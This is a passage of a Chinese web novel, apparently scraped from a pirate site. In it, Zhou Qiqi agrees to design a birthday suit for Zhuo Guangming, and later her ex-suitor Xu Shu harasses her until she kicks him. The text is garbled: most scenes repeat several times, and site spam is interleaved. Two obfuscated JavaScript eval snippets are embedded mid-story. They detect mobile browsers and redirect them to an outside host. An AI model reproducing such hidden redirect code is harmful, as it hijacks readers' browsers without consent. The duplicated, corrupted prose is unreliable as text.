她把当初自己设计的那场戏,添油加醋地说成是周柒柒主动勾引沈淮川。 “我和许树哥过去的时候,就看见她躺在沈淮川怀里哭,说什么名声都没了,非要沈团长负责,不然就上吊抹脖子的……” 林瑶说着,还抽抽噎噎地抹了把不存在的眼泪。 “我当时都吓坏了,哪敢多说什么呀!就遂了她的意了!” 周淑华一 副“果然如此的表情,但还是追问了一句。 “那当初你刚来军属区的时候,怎么不说?你和许树怎么又会 “我这不是为了淮川哥的名声吗?至于许树哥,也是被周柒柒辜负的可怜人,我们互相安慰,才. 林瑶有点心虚,话都是现编的,不过周淑华完全没有注意。 “哼!下作! 她从牙缝里挤出两个字,对周柒柒的恶感达到了顶点。 她阴沉着脸,斩钉截铁地说。 “她这是破坏军婚!这样的女人,心思歹毒,品行不端,绝对不能留在军属区!继续祸害人! 林瑶闻言,脸上闪过一丝不易察觉的喜色,但立刻又换上忧愁的表情,叹气道。 “唉,周阿姨,我们也是这么想啊!可是…可是有什么办法呢?您…您已经不是妇女主任了,说话…沈团长又把她当眼珠子似的护着,我们…我们哪敢说什么呀? 周淑华嘴角扯出一抹冷笑。 “谁说没法子的?! —————————— “阿嚏! 而另外一遍,周柒柒刚骑着自行车到吴老师家院门口,准备接上完美术课的沈渡舟回家。 刚把车停在院门口,就毫无预兆地打了个响亮的喷嚏。 她揉了揉鼻子,下意识地裹紧了身上的毛衣裙。 奇怪,明明太阳还没完全落山,天光尚亮,微风也算和煦,怎么后背突然窜起一股阴恻恻的凉意? 正揉着鼻子呢。 “柒柒!来接舟舟啊? 一个热情洋溢的声音打断了她的思绪。 周柒柒循声望去,只见卓光明的妈妈正从另外一边快步走出来,脸上堆满了笑容。 “是啊,下课时间到了。 周柒柒连忙收起那点莫名的疑虑,换上温和的笑容打招呼,“你也来接光明? “哎哟,舟舟这孩子可真是了不得! 卓母几步走到近前,亲**拉起周柒柒的手,话匣子就打开了, “我家光明回来天天念叨,说舟舟妹妹画得可好了!他可喜欢舟舟妹妹了!要以舟舟妹妹为榜样呢! 卓母的夸赞真心实意,眼睛里都是对舟舟的喜爱和欣赏。 “您太客气了光明也很聪明的。” 周柒柒谦逊地笑着。 “可不是客气!” 卓母摆摆手脸上的笑容更盛了。 “柒柒啊我正想跟你说呢!过两天就是我们家光明的生日了。这孩子非闹着要请舟舟妹妹来家里吃饭说舟舟妹妹是他最好的小画友!你看……舟舟到时候有空不?到我家来一起热闹热闹!” 卓母的语气带着小心翼翼的期待生怕被拒绝。 周柒柒微微一愣随即欣然应允。 “光明生日啊?这是好事啊!舟舟能去给光明哥哥庆祝生日她肯定高兴。只要不耽误吴大师那边的课 “太好了!” 卓母一听周柒柒答应高兴得直拍手。 “就下周五晚上!柒柒你放心就我周围几家相熟的带着孩子一起聚聚不会闹太晚的吴老师也会去到时候你和你们家那口子也一起来啊!” 卓母热情地邀请道。 提到沈淮川周柒柒的笑容里带上了一丝无奈。 “卓妈妈我家那口子工作忙经常要值班或者开会周五晚上能不能回来还真说不准我尽量带舟舟过去回头我问问他能去最好不能去也请您别见怪。” “理解理解!一看你穿这么好看就知道你男人肯定是干大事的人忙是应该的!” 卓母连连点头非常通情达理眼睛在周柒柒的身上转悠了好几圈。 “你能带舟舟来光明就高兴坏了!那就这么说定了啊!周六晚上我家!可一定得来!” 两人正说着话吴老师家的院门“吱呀”一声开了。 沈渡舟背着小小的画板像只轻盈的小蝴蝶般飞了出来。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “您太客气了,光明也很聪明的。 周柒柒谦逊地笑着。 “可不是客气! 卓母摆摆手,脸上的笑容更盛了。 “柒柒啊,我正想跟你说呢!过两天,就是我们家光明的生日了。这孩子非闹着要请舟舟妹妹来家里吃饭,说舟舟妹妹是他最好的小画友!你看……舟舟到时候有空不?到我家来,一起热闹热闹! 卓母的语气带着小心翼翼的期待,生怕被拒绝。 周柒柒微微一愣,随即欣然应允。 “光明生日啊?这是好事啊!舟舟能去给光明哥哥庆祝生日,她肯定高兴。只要不耽误吴大师那边的课,应该没问题的。具体是哪天?我记一下。 “太好了! 卓母一听周柒柒答应,高兴得直拍手。 “就下周五晚上!柒柒你放心,就我周围几家相熟的,带着孩子一起聚聚,不会闹太晚的,吴老师也会去,到时候你和你们家那口子也一起来啊! 卓母热情地邀请道。 提到沈淮川,周柒柒的笑容里带上了一丝无奈。 “卓妈妈,我家那口子工作忙,经常要值班或者开会,周五晚上能不能回来还真说不准,我尽量带舟舟过去,回头我问问他,能去最好,不能去也请您别见怪。 “理解理解!一看你穿这么好看,就知道你男人肯定是干大事的人,忙是应该的! 卓母连连点头,非常通情达理,眼睛在周柒柒的身上转悠了好几圈。 “你能带舟舟来,光明就高兴坏了!那就这么说定了啊!周六晚上,我家!可一定得来! 两人正说着话,吴老师家的院门“吱呀一声开了。 沈渡舟背着小小的画板,像只轻盈的小蝴蝶般飞了出来。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “您太客气了 周柒柒谦逊地笑着。 “可不是客气!” 卓母摆摆手脸上的笑容更盛了。 “柒柒啊我正想跟你说呢!过两天就是我们家光明的生日了。这孩子非闹着要请舟舟妹妹来家里吃饭说舟舟妹妹是他最好的小画友!你看……舟舟到时候有空不?到我家来一起热闹热闹!” 卓母的语气带着小心翼翼的期待生怕被拒绝。 周柒柒微微一愣随即欣然应允。 “光明生日啊?这是好事啊!舟舟能去给光明哥哥庆祝生日她肯定高兴。只要不耽误吴大师那边的课应该没问题的。具体是哪天?我记一下。” “太好了!” 卓母一听周柒柒答应高兴得直拍手。 “就下周五晚上!柒柒你放心就我周围几家相熟的带着孩子一起聚聚不会闹太晚的吴老师也会去到时候你和你们家那口子也一起来啊!” 卓母热情地邀请道。 提到沈淮川周柒柒的笑容里带上了一丝无奈。 “卓妈妈我家那口子工作忙经常要值班或者开会周五晚上能不能回来还真说不准我尽量带舟舟过去回头我问问他能去最好不能去也请您别见怪。” “理解理解!一看你穿这么好看就知道你男人肯定是干大事的人忙是应该的!” 卓母连连点头非常通情达理眼睛在周柒柒的身上转悠了好几 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“卓妈妈我家那口子工作忙经常要值班或者开会周五晚上能不能回来还真说不准我尽量带舟舟过去回头我问问他能去最好不能去也请您别见怪。” “理解理解!一看你穿这么好看就知道你男人肯定是干大事的人忙是应该的!” 卓母连连点头非常通情达理眼睛在周柒柒的身上转悠了好几圈。 “你能带舟舟来光明就高兴坏了!那就这么说定了啊!周六晚上我家!可一定得来!” 两人正说着话吴老师家的院门“吱呀”一声开了。 沈渡舟背着小小的画板像只轻盈的小蝴蝶般飞了出来。 你的朋友正在书荒,快去帮帮他吧 “您太客气了,光明也很聪明的。” 周柒柒谦逊地笑着。 “可不是客气!” 卓母摆摆手,脸上的笑容更盛了。 “柒柒啊,我正想跟你说呢!过两天,就是我们家光明的生日了。这孩子非闹着要请舟舟妹妹来家里吃饭,说舟舟妹妹是他最好的小画友!你看……舟舟到时候有空不?到我家来,一起热闹热闹!” 卓母的语气带着小心翼翼的期待,生怕被拒绝。 周柒柒微微一愣,随即欣然应允。 “光明生日啊?这是好事啊!舟舟能去给光明哥哥庆祝生日,她肯定高兴。只要不耽误吴大师那边的课,应该没问题的。具体是哪天?我记一下。” “太好了!” 卓母一听周柒柒答应,高兴得直拍手。 “就下周五晚上!柒柒你放心,就我周围几家相熟的,带着孩子一起聚聚,不会闹太晚的,吴老师也会去,到时候你和你们家那口子也一起来啊!” 卓母热情地邀请道。 提到沈淮川,周柒柒的笑容里带上了一丝无奈。 “卓妈妈,我家那口子工作忙,经常要值班或者开会,周五晚上能不能回来还真说不准,我尽量带舟舟过去,回头我问问他,能去最好,不能去也请您别见怪。” “理解理解!一看你穿这么好看,就知道你男人肯定是干大事的人,忙是应该的!” 卓母连连点头,非常通情达理,眼睛在周柒柒的身上转悠了好几圈。 “你能带舟舟来,光明就高兴坏了!那就这么说定了啊!周六晚上,我家!可一定得来!” 两人正说着话,吴老师家的院门“吱呀”一声开了。 沈渡舟背着小小的画板,像只轻盈的小蝴蝶般飞了出来。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “您太客气了,光明也很聪明的。” 周柒柒谦逊地笑着。 “可不是客气!” 卓母摆摆手,脸上的笑容更盛了。 “柒柒啊,我正想跟你说呢!过两天,就是我们家光明的生日了。这孩子非闹着要请舟舟妹妹来家里吃饭,说舟舟妹妹是他最好的小画友!你看……舟舟到时候有空不?到我家来,一起热闹热闹!” 卓母的语气带着小心翼翼的期待,生怕被拒绝。 周柒柒微微一愣,随即欣然应允。 “光明生日啊?这是好事啊!舟舟能去给光明哥哥庆祝生日,她肯定高兴。只要不耽误吴大师那边的课,应该没问题的。具体是哪天?我记一下。” “太好了!” 卓母一听周柒柒答应,高兴得直拍手。 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) “就下周五晚上!柒柒你放心,就我周围几家相熟的,带着孩子一起聚聚,不会闹太晚的,吴老师也会去,到时候你和你们家那口子也一起来啊!” 卓母热情地邀请道。 提到沈淮川,周柒柒的笑容里带上了一丝无奈。 “卓妈妈,我家那口子工作忙,经常要值班或者开会,周五晚上能不能回来还真说不准,我尽量带舟舟过去,回头我问问他,能去最好,不能去也请您别见怪。” “理解理解!一看你穿这么好看,就知道你男人肯定是干大事的人,忙是应该的!” 卓母连连点头,非常通情达理,眼睛在周柒柒的身上转悠了好几圈。 “你能带舟舟来,光明就高兴坏了!那就这么说定了啊!周六晚上,我家!可一定得来!” 两人正说着话,吴老师家的院门“吱呀”一声开了。 沈渡舟背着小小的画板,像只轻盈的小蝴蝶般飞了出来。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第205章 舟舟不一样 沈渡舟今儿个穿的这条小裙子,瞧着格外精致。 那是周柒柒用毛衣裙同款的料子,亲手做的,浅浅的米白色,裙摆像小伞一样蓬开,上面用不同颜色的丝线绣着小小的,胖乎乎的星星图案。 领口和袖口镶嵌了一圈细细的蕾丝花边,既保暖又不失童趣,衬得舟舟像橱窗里走出来的洋娃娃,粉雕玉琢,惹人怜爱。 “哎哟!我的天爷!” 卓母的目光一下子就被舟舟身上的小裙子牢牢吸住了,她蹲下身,忍不住轻轻摸了摸那柔软的料子和精巧的刺绣,眼中是毫不掩饰的惊艳和喜爱。 “柒柒,舟舟这裙子……也太好看了吧!这料子、这做工、这式样……简直绝了!你在哪儿买的?快跟我说,我也给我们家那丫头弄一件,保管她得乐疯了!” 周柒柒被夸得脸有点发烫,抬手把被风吹到脸颊边的碎头发捋到耳后,笑着答道。 “卓妈妈,您过奖了,这裙子……不是买的,是我自己给舟舟做的。” “你自己做的?!” 卓母的声音瞬间拔高了一个度,充满了难以置信。 她像是发现了什么新大陆,又凑近仔细端详舟舟的裙子,目光最终落在了裙摆内侧一个用同色线精心绣出的、小小的“柒”字上。 “这……这是‘柒’字标?” 卓母猛地抬起头,看向周柒柒的眼神彻底变了,不再是单纯的寒暄热情,而是混合了震惊、探究和恍然大悟的锐利光芒, “柒柒……难道说,你就是最近花城那边传得沸沸扬扬、承包了第一服装厂生产线、设计出那款爆火毛衣裙的,那位神秘女设计师?!那个‘柒’师傅?!” 周柒柒没料到会在这种场合被点破身份。 周柒柒没料到在这儿被认出来,愣了一下,脸上飞快掠过一丝惊讶。 随即就稳住了神色,没说是也没说不是,只浅浅一笑,带着点默认的意思。 “卓妈妈消息真灵通。” “哎呀!我的老天爷!真的是你!” 卓母激动得差点跳起来,说道。 “我大哥在花城那边搞对外贸易,前两天刚托人给我捎来你身上这件毛衣裙,不过我比你大了几岁,又没你这好身材,穿不来那么俏的红色,是一件 藏青色的我爱得跟什么似的。” 第一眼看到周柒柒时她以为周柒柒身上这件也是她男人对她好特意托人给她捎过来的。 却没想到居然是周柒柒自己做的! 她紧紧抓住周柒柒的手力气大得惊人。 “我大哥特意说了这‘柒字标’的设计师厉害得不得了!我这两天正想着怎么才能联系上你呢没想到远在天边近在眼前!缘分真是天大的缘分啊!” 周柒柒一愣炸了眨眼“联系我?有什么事吗?” 卓母像是抓住了救命稻草语速飞快。 “柒柒你看……你看这马上就光明生日了我提前给定做两身可是都太老气了能不能请你给我们家光明也设计一套小礼服?就生日那天穿!不用太复杂但求个精神、体面、别具一格!就像舟舟身上这件一样看着就舒服又贵气!工钱材料费你只管开口我绝不含糊!” 不等周柒柒回答她顿了顿眼神更加热切压低了声音。 “而且啊柒柒不瞒你说我这么着急找你 周柒柒的心念飞快转动。 卓母的请求来得突然她手头确实忙第一服装厂的订单排得紧冬款和春秋新款都得她一个人设计。 生产线毕竟是她承包的事儿总不能一股脑全交给张厂长。 人家空暇时间也有要紧的事儿要做呢。 但是忙归忙。 她也甚至鸡蛋不能都搁一个篮子里的道理。 这位卓妈妈气质谈吐不凡能一眼认出“柒字标”家里还有做贸易的亲戚其背景和人脉恐怕不简单。 要是能借着这机会搭上关系对她这牌子和往后的路准保没坏处。 在做生意方面人脉这东西可比小利重要多了。 “卓妈妈您太客气了” 周柒柒权衡利弊迅速做出了决定笑容真诚了几分 “能给光明设计衣服是我的荣幸工钱什么的都好说最重要的是孩子穿着高兴。这样择日不如撞日既然您信得过我不如我现在就跟您去家里一趟给光明量个体?毕竟到下周五时间也不多了.” “太好了!太好了! 卓母喜出望外,连声道谢, “我们家离吴老师这不远,就前面那片小别墅区,走走就到!光明,快,带舟舟妹妹一起回家! 卓光明一听能带舟舟回家,小脸立刻笑开了花,用力点头。 “嗯!舟舟妹妹,走!去我家玩!我有好多好多好吃的! 卓家果然如卓母所说,距离吴老师家不远。 穿过两条绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983511|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树成荫的安静街道,便是一片环境清幽、带着小花园的联排别墅区。 卓家位于其中一栋,白墙红瓦,透着几分低调的雅致。 走进明亮宽敞的客厅,卓母招呼周柒柒和舟舟坐下,便去张罗茶水。 周柒柒不动声色地打量着室内的陈设: 考究的红木家具,墙上挂着几幅颇有韵味的山水画,**架上除了瓷器,还摆放着几件明显带有异国风情的摆件。 这显然不是普通工薪家庭能拥有的品味和实力。 “柒柒,你先坐,我去叫光明下来量体。 卓母端着茶盘出来。 刚到家那会儿,卓光明就蹿上楼了。 卓母在楼下喊了几声,他才抱着个铁皮盒子噔噔噔跑下来,宝贝似的捧到舟舟跟前,小心翼翼地打开。 盒子里满满当当的,都是花花绿绿印着洋文的零嘴,瞧着就不是本地能买到的,全是市面上少见的进口货。 “舟舟,给! 卓光明拿起一块做成小熊形状、裹着巧克力的饼干,热情地递到舟舟面前,眼睛亮晶晶的满是期待。 舟舟抬起清澈的大眼睛,瞅瞅卓光明真诚的笑脸,又看看他手里那些新奇的零嘴。 她没像别的孩子那样伸手就接,也没咋咋呼呼地兴奋,就微微歪着小脑袋,长睫毛忽闪忽闪的,望向周柒柒。 那意思再明白不过,是问她能不能吃。 周柒柒心里头一下就软了,赶紧点了点头。 舟舟伸出小手,非常客气地只拿了一块最小的小熊饼干,对着卓光明轻轻点了点头,嘴角弯起一个礼貌的弧度,表达了谢意。 卓光明似乎早已习惯舟舟的安静,一点也不觉得被冷落。 他看到舟舟收下了饼干,还对他笑了,立刻开心得不得了,献宝似的把整个盒子都往舟舟那边推了推。 “还有好多呢!都给你吃!舟舟妹妹,你看这个威化棒,里面有夹心,甜甜的…… 他拿起一根,自己先咬了一口,夸张地做出享受美味的样子,试图逗舟舟开心。 周柒柒瞧着,不由夸道:“光明这么小,倒像个小绅士了。 卓母笑着接话:“可不是嘛,家里有个妹妹,从小就知道疼女孩子。 她看着儿子那模样,又补充道, “不过他对别的丫头都是客客气气的,就对舟舟不一样。柒柒,往后你可得多带舟舟来我们家玩啊。 第206章 将来变成破鞋 周柒柒动作麻利地给卓光明量好了尺寸在本子上仔细记下。 卓光明的心思早飞回舟舟身上了量完就立刻又凑到安静吃饼干的舟舟身边小声分享着什么。 卓母热情地留饭周柒柒婉拒了。 她心里头记挂着帆布包里的铝饭盒那是她下午特意绕去国营饭店打的菜再耽误下去怕真要凉透了。 “好好好理解理解!真是麻烦你了柒柒!” 卓母连声道谢亲自送她们到门口又叮嘱了好几遍让周柒柒多带舟舟来玩。 周柒柒跨上自行车 夕阳的余晖给街道镀上一层暖金色她蹬着车心里琢磨着卓光明小礼服的设计方向。 既得让孩子穿上看着精神体面又不能太板正得透着点小孩子的活泼劲儿才对…… 离卓母说的日子满打满算也就五天时间确实够紧巴的。 很快两人就回到了家属院。 一进自家院门周柒柒就赶紧把帆布包卸下来掏出里头的铝制饭盒。 这年代的物件虽说看着简单倒真顶用饭盒外头摸着温乎打开盖儿里头的菜气儿立马冒了出来还带着热乎劲儿呢。 她特意打了四个菜一份油亮亮的红烧肉一份翠绿的清炒小白菜一份金黄的番茄炒蛋还有一份特意给舟舟点的软糯香甜的拔丝地瓜。 “舟舟饿了吧?我们先吃饭。” 周柒柒拿出四个搪瓷碗把菜一样样分出来。 盛到红烧肉时她挑了几块瘦肉多的又从拔丝地瓜里捡了几块最匀净的各拨到一个小搪瓷碗里仔细用盖子盖好放在搭了水的锅里那是留给沈淮川的。 忙完这些她才和舟舟在葡萄藤下的石桌旁坐下一起吃饭。 傍晚的风丝丝缕缕地吹着树叶被吹得沙沙响。 隔壁赵家最近安生得很没了邱春芳那拔尖儿的嗓门也没了赵耀祖咋咋呼呼的吵闹。 就听见大萌在院里教三个妹妹念课文声音软软糯糯的。 整个家属院都透着股子宁静劲儿宁静又惬意。 周柒柒和舟舟安静地吃着饭享受着这难得的平和时光。 吃完饭舟舟很 自觉地拿出画板 周柒柒收拾好碗筷回到屋里拿出速写本和铅笔。 卓光明的形象和量好的尺寸还在脑中清晰浮现灵感也源源不断。 她笔下飞快线条流畅地勾勒起来。 一个小时后一套结合了小绅士风度与童趣活力的小礼服设计图就跃然纸上。 挺括的小西装领衬衫搭配背带短裤裤脚设计成微微外扩的样式既精神又方便活动细节处点缀着月亮元素。 她刚才就注意到卓光明似乎很喜欢月亮书包上绣着月亮画板的名字旁边也画着月亮。 画完最后一笔周柒柒伸了个懒腰感觉胃里的食物也消化得差不多了。 这时院门外传来邓翠香和朱莹莹熟悉的声音。 “柒柒!舟舟!走啊跑步去!” “来啦!” 周柒柒应了一声迅速换上一身轻便的蓝色运动服和球鞋。 舟舟也收好了画板换好了衣服。 仨大人一个小孩儿在院门口凑齐了邓翠香手插着腰笑。 “就等你俩了再不来天儿都黑透了。” 朱莹莹也跟着笑伸手帮舟舟理了理衣角。 几个人说说笑笑的往操场那边走。 这阵子跑步锻炼早就成了习惯不用自家男人催到点就想着往操场去一天不跑浑身都不得劲儿。 操场挺大绕着跑了几圈额头上就冒出细汗来。 晚风一吹汗珠子顺着脸颊往下滑带着点凉丝丝的劲儿把身上的乏气儿都吹跑了浑身透着股子舒坦脑子都清亮了不少。 秋天的天儿黑得快等跑完步往回走时天边就剩最后一抹红了跟抹了层胭脂似的. 四周都渐渐笼上了灰蓝色的暮色远处家属院的窗户里已经有灯光一盏盏亮起来了。 “呼……可真舒服!” 邓翠香用袖子擦了擦额头的汗直起身说“走吧该回去了晚了该看不清路了。” “嗯走了舟舟。” 周柒柒弯腰牵起舟舟的小手跟朱莹莹、邓翠香一块儿往家属院走。 刚走出操场没多远周柒柒习惯性地抬手拢了下头 发,手指却摸了个空。 她心里猛地一沉,停下脚步:“糟了! “怎么了柒柒? 朱莹莹和邓翠香也停下来。 “我发夹不见了! 周柒柒语气带着焦急,那是前两天沈淮川去省城开会,特意给她带回来的一个水钻小发夹。 是在涉外的友谊商店买的,进口货,这个年代,算是样式新颖别致的了。 她特别喜欢,平时都戴着固定碎发,没想到今天跑掉了。 “啊?掉哪儿了?我们帮你找找? 朱莹莹立刻说道。 “不用不用,你们带舟舟先回去吧,天快黑了。我记得大概就在刚才那段路上,我自己回去找找,很快的! 周柒柒不想麻烦她们,更不想舟舟跟着在昏暗的路上找东西。 邓翠香看了看天色,确实不早了。 “那行,你小心点啊,找不着就赶紧回来,明天天亮再找。 “嗯,我知道。 周柒柒把舟舟的手交给朱莹莹,“舟舟乖,跟朱阿姨邓阿姨先回家,婶婶找到发夹就回来。 舟舟懂事地点点头,大眼睛里有点担忧,但还是乖乖跟着两位阿姨走了。 周柒柒立刻转身,沿着刚才跑步回来的路仔细寻找。 天越来越黑,操场上的路灯又少得可怜,视线变得模糊不清。 她弯着腰,眼睛紧盯着地面,在沙石路和旁边的草地上搜寻着那个小小的、闪亮的发夹。 心里又是懊恼又是心疼。 找了两圈,几乎把那段路翻了个遍,还是一无所获。 周柒柒直起腰,挫败地叹了口气,正打算放弃明天再说时,一个略带沙哑的男人声音在几步开外响起。 “你是在找这个吗? 周柒柒猛地一抬头,脖子都差点扭着。 就见一只黑乎乎的手伸到她跟前,指甲缝里全是泥垢,指头上还沾着些不明不白的污渍. 可偏偏就是这只脏手,捏着她那个水钻发夹,灯光底下,碎钻还在一闪一闪的。 顺着那只手往上看,周柒柒的心瞬间像被一只冰冷的手攥紧,咯噔一下沉到了谷底。 昏暗中站着的男人,身形瘦削了不少,穿着一件洗得 发白、沾着不明污渍的西装。 头发油腻腻地贴在额前脸上胡子拉碴眼窝深陷透着浓浓的疲惫和一种说不出的落魄。 尤其是那双眼睛以前总带着点雾蒙蒙的水汽看人时斜斜挑着自以为勾人的桃花眼. 如今干巴巴的眼白多黑眼仁少活脱脱成了三白眼。 不是许树还能是谁! 周柒柒强压下心头的厌恶和警惕声音冷得像冰:“是我的还给我。” 她飞快地伸出手指尖都绷得发白心里就一个念头赶紧把发夹拿回来离这个瘟神越远越好。 许树却飞快地把手缩了回去紧紧攥着发夹咧开嘴露出一个带着暧昧的笑。 “急什么?” 他拖长了调子眼神黏在周柒柒脸上 “柒柒我的好媳妇儿这才几天不见攀了高枝儿就连故人都不认了?” “你媳妇儿在卫生所呢别在这儿狗叫!把东西还我!” 周柒柒不想跟他废话语气更厉同时警惕地后退了半步眼角余光扫向不远处的岗哨方向威胁道。 “不然我现在就喊人了!” 许树啧啧两声眼神在她身上扫了一圈尤其在腰臀处停顿了一下那目光让周柒柒浑身汗**倒竖 “急啥呀” 他慢悠悠地晃了晃手里的发夹 “一个破夹子而已谁稀得要。我就跟你说两句话说完立马还你耽误不了你多少功夫。” “有什么屁就快放!” 周柒柒不想再跟他多待一秒 许树也不恼往前凑了两步一股混杂着汗味和土腥味的气息飘过来周柒柒下意识地屏住了呼吸。 他压低了声音语气里酸溜溜的又带着点探究。 “我说周柒柒沈淮川家里的钱是不是都攥在你手里了?啧啧看看你身上这衣裳这料子……天天都能穿新的吧?以前在许家村裹得跟个粽子似的还真没看出来你这么有料……” 他的目光再次下流地扫过她因运动服而显得曲线玲珑的身体 “是不是伺候男人的功夫……也很绝?才把他迷得五迷三道的钱都给你管?我现在是真有点后悔了要是当初 我” “你找死!” 周柒柒怒火攻心,恶心感直冲喉咙! 她身上没带辣椒水,但这些天锻炼来的力量和此刻的愤怒让她瞬间爆发! 她看准许树靠得近、注意力在她脸上的时机,右腿闪电般抬起,用尽全身力气,狠狠地朝着他**的要害部位踹了过去! “嗷——!” 许树根本没料到周柒柒敢直接动手,更没想到她动作这么快这么狠! 他吓得魂飞魄散,下意识地双手猛地向下交叉护住裆部! “砰!” 周柒柒的鞋尖重重地踢在了他交叠护住要害的手背上! 剧痛传来,许树惨叫一声,踉跄着后退了好几步,差点摔倒。 手里的发夹也因为这突如其来的剧痛和慌乱,脱手飞了出去,“叮”的一声掉落在不远处的草地上。 周柒柒看都没看痛得龇牙咧嘴、弯腰捂手的许树,立刻冲过去,一把捡起地上的发夹,紧紧攥在手心。 她冷冷地瞥了一眼狼狈的许树,转身就要快步离开这个恶心的地方。 “周柒柒!” 许树忍着手上火辣辣的疼,看着她的背影,不甘心地嘶吼了一声。 “你也太不知好歹了,我可是一片好心!” “将来变成破鞋,没人要了,可以回许家村,我…我许树看在往日情分上,还能收留你!” 周柒柒脚步顿都没顿,身影迅速消失在了操场。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 我 “你找死! 周柒柒怒火攻心,恶心感直冲喉咙! 她身上没带辣椒水,但这些天锻炼来的力量和此刻的愤怒让她瞬间爆发! 她看准许树靠得近、注意力在她脸上的时机,右腿闪电般抬起,用尽全身力气,狠狠地朝着他**的要害部位踹了过去! “嗷——! 许树根本没料到周柒柒敢直接动手,更没想到她动作这么快这么狠! 他吓得魂飞魄散,下意识地双手猛地向下交叉护住裆部! “砰! 周柒柒的鞋尖重重地踢在了他交叠护住要害的手背上! 剧痛传来,许树惨叫一声,踉跄着后退了好几步,差点摔倒。 手里的发夹也因为这突如其来的剧痛和慌乱,脱手飞了出去,“叮的一声掉落在不远处的草地上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983512|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周柒柒看都没看痛得龇牙咧嘴、弯腰捂手的许树,立刻冲过去,一把捡起地上的发夹,紧紧攥在手心。 她冷冷地瞥了一眼狼狈的许树,转身就要快步离开这个恶心的地方。 “周柒柒! 许树忍着手上火辣辣的疼,看着她的背影,不甘心地嘶吼了一声。 “你也太不知好歹了,我可是一片好心! “将来变成破鞋,没人要了,可以回许家村,我…我许树看在往日情分上,还能收留你! 周柒柒脚步顿都没顿,身影迅速消失在了操场。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 我” “你找死!” 周柒柒怒火攻心,恶心感直冲喉咙! 她身上没带辣椒水,但这些天锻炼来的力量和此刻的愤怒让她瞬间爆发! 她看准许树靠得近、注意力在她脸上的时机,右腿闪电般抬起,用尽全身力气,狠狠地朝着他**的要害部位踹了过去! “嗷——!” 许树根本没料到周柒柒敢直接动手,更没想到她动作这么快这么狠! 他吓得魂飞魄散,下意识地双手猛地向下交叉护住裆部! “砰!” 周柒柒的鞋尖重重地踢在了他交叠护住要害的手背上! 剧痛传来,许树惨叫一声,踉跄着后退了好几步,差点摔倒。 手里的发夹也因为这突如其来的剧痛和慌乱,脱手飞了出去,“叮”的一声掉落在不远处的草地上。 周柒柒看都没看痛得龇牙咧嘴、弯腰捂手的许树,立刻冲过去,一把捡起地上的发夹,紧紧攥在手心。 她冷冷地瞥了一眼狼狈的许树,转身就要快步离开这个恶心的地方。 “周柒柒!” 许树忍着手上火辣辣的疼,看着她的背影,不甘心地嘶吼了一声。 “你也太不知好歹了,我可是一片好心!” “将来变成破鞋,没人要了,可以回许家村,我…我许树看在往日情分上,还能收留你!” 周柒柒脚步顿都没顿,身影迅速消失在了操场。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我” “你找死!” 周柒柒怒火攻心,恶心感直冲喉咙! 她身上没带辣椒水,但这些天锻炼来的力量和此刻的愤怒让她瞬间爆发! 她看准许树靠得近、注意力在她脸上的时机,右腿闪电般抬起,用尽全身力气,狠狠地朝着他**的要害部位踹了过去! “嗷——!” 许树根本没料到周柒柒敢直接动手,更没想到她动作这么快这么狠! 他吓得魂飞魄散,下意识地双手猛地向下交叉护住裆部! “砰!” 周柒柒的鞋尖重重地踢在了他交叠护住要害的手背上! 剧痛传来,许树惨叫一声,踉跄着后退了好几步,差点摔倒。 手里的发夹也因为这突如其来的剧痛和慌乱,脱手飞了出去,“叮”的一声掉落在不远处的草地上。 周柒柒看都没看痛得龇牙咧嘴、弯腰捂手的许树,立刻冲过去,一把捡起地上的发夹,紧紧攥在手心。 她冷冷地瞥了一眼狼狈的许树,转身就要快步离开这个恶心的地方。 “周柒柒!” 许树忍着手上火辣辣的疼,看着她的背影,不甘心地嘶吼了一声。 “你也太不知好歹了,我可是一片好心!” 小说全网首发无弹窗免费阅读caixs.com▽(请来才 小说 看最新章节 完整章节) “将来变成破鞋,没人要了,可以回许家村,我…我许树看在往日情分上,还能收留你!” 周柒柒脚步顿都没顿,身影迅速消失在了操场。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 我 “你找死! 周柒柒怒火攻心,恶心感直冲喉咙! 她身上没带辣椒水,但这些天锻炼来的力量和此刻的愤怒让她瞬间爆发! 她看准许树靠得近、注意力在她脸上的时机,右腿闪电般抬起,用尽全身力气,狠狠地朝着他**的要害部位踹了过去! “嗷——! 许树根本没料到周柒柒敢直接动手,更没想到她动作这么快这么狠! 他吓得魂飞魄散,下意识地双手猛地向下交叉护住裆部! “砰! 周柒柒的鞋尖重重地踢在了他交叠护住要害的手背上! 剧痛传来,许树惨叫一声,踉跄着后退了好几步,差点摔倒。 手里的发夹也因为这突如其来的剧痛和慌乱,脱手飞了出去,“叮的一声掉落在不远处的草地上。 